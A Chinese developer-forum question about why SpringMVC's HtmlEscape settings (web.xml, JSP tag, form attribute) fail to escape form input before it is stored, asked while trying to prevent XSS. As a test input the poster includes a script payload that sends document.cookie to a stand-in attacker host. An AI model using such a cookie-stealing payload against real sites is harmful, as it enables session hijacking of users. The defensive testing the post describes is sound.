账号密码登录
微信安全登录
微信扫描二维码登录

登录后绑定QQ、微信即可实现信息互通

手机验证码登录
找回密码返回
邮箱找回 手机找回
注册账号返回
其他登录方式
分享
  • 收藏
    X
    SpringMVC: HtmlEscape 设置没起作用怎么回事?
    80
    0

    项目用的是 SpringMVC+jsp

    想要对提交表格的内容进行字符转义防止 XSS 攻击

    根据 http://www.codeweblog.com/spr...

    做处理,下面三条都做了

    1)web.xml 中添加

     <context-param>     <param-name>defaultHtmlEscape</param-name>      <param-value>true</param-value> </context-param>

    2)在包含 form 的 jsp 页面中添加

     <spring:htmlEscape defaultHtmlEscape="true" />
     

    3 )直接在 form 中的元素中添加

     <form:input path="someFormField" htmlEscape="true" />或<form:form htmlEscape="true">

    然后在表格上添加

    <script>document.getElementById('attacker').href='http://www.attacker_741.com/r...'+document.cookie;</script>

    发现存进数据库的没有转移,依然是原文

    怎么回事啊?

    4
    打赏
    收藏
    点击回答
        全部回答
    • 0
    更多回答
    扫一扫访问手机版
    • 回到顶部
    • 回到顶部